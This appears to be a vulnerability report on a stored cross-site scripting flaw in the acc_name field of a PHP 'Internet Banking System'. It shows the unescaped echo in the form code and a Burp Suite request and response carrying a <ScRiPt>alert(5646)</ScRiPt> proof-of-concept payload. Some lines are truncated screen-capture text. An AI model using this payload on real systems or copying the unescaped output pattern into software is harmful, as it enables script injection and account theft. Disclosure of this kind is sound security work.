

XSS injection vulnerability exists in acc_name parameter of pages_view_client.php file of Internet Banking System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

```
8 if (isset($_POST['update_account'])) {
9     //Client open account
10    $acc_name = $_POST['acc_name'];
11    $account_number = $_POST['account_number'];
12    $acc_type = $_POST['acc_type'];
13    $acc_rates = $_POST['acc_rates'];
14    $acc_status = $_POST['acc_status'];
15    $acc_amount = $_POST['acc_amount'];
16    $account_id = $_GET['account_id'];
17    $client_national_id = $_POST['client_national_id'];
18    $client_name = $_POST['client_name'];
19    $client_phone = $_POST['client_phone'];
20    $client_number = $_POST['client_number'];
21    $client_email = $_POST['client_email'];
22    $client_adr = $_POST['client_adr'];
23
24    //Insert Captured information to a database table
25    $query = "UPDATE iB_bankAccounts SET acc_name=?, account_
26    $stmt = $mysqli->prepare($query);
27    //bind parameters
28    $src = $stmt->bind_param('sssssssssssi', $acc_name, $account
29    $stmt->execute();
30
31    //declare a variable which will be passed to alert function
```

```
<label for="exampleInputEmail1">Account Name</label>
<input type="text" name="acc_name" value="<?php echo $row->acc_name; ?>" requ
</div>

<div class=" col-md-6 form-group">
```

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

1 x 2 x 4 x +

Send Cancel < > Follow redirection Target: http://192.

Request

1 POST /InternetBanking/admin/pages_update_client_accounts.php?
2 account_id=16 HTTP/1.1
3 Content-Type: multipart/form-data;
4 boundary=-----YwJkMTQzNDcw
5 Referer: http://127.0.0.1/InternetBanking/
6 Cookie: PHPSESSID=vo8hq16nb018kj4af5chr8td14
7 Content-Length: 1296
8 Accept:
9 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
10 Accept-Encoding: gzip, deflate, br
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
12 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
13 Safari/537.36
14 Host: 192.168.190.1
15 Connection: Keep-Alive
16 -----YwJkMTQzNDcw
17 Content-Disposition: form-data; name="acc_amount"
18 0
19 -----YwJkMTQzNDcw
20 Content-Disposition: form-data; name="acc_name"
21 Johnnie Reyes"()"&%<zzz><ScRiPt >alert(5646)</ScRiPt>
22 -----YwJkMTQzNDcw
23 Content-Disposition: form-data; name="acc_rates"
24 4111111111111111
25 -----YwJkMTQzNDcw
26 Content-Disposition: form-data; name="acc_status"
27 Active
28 -----YwJkMTQzNDcw
29 Content-Disposition: form-data; name="acc_type"
30
31 <th:t=
32 -----YwJkMTQzNDcw
33 Content-Disposition: form-data; name="account_number"

Response

339 "exampleInputEmail1">
340 </div>
341 </div>
342 <!-- /End Personal Details -->
343 <!-- Bank Account Details -->
344 <div class="row">
345 <div class="col-md-6 form-group">
346 <label for="exampleInputEmail1">Account Name</label>
347 <input type="text" name="acc_name" value="Johnnie Reyes"()"&%<zzz><ScRiPt >alert(5646)</ScRiPt>" required
348 </div>
349 <div class="col-md-6 form-group">
350 <label for="exampleInputEmail1">Account Number</label>
351 <input type="text" name="account_number" value="705239816" required
352 </div>

Inspector

Selection

Selected t

5646

Decoded f

Can

Request Att

Request Qui

Request Boc

Request Coc

Request Hez

Response H

Search... 0 matches

5646 1 match

Done

Payload: acc_name=Johnnie Reyes"()"&%<zzz><ScRiPt >alert(5646)</ScRiPt>

Source Download:

<https://codeastro.com/internet-banking-system-in-php-with-source-code/>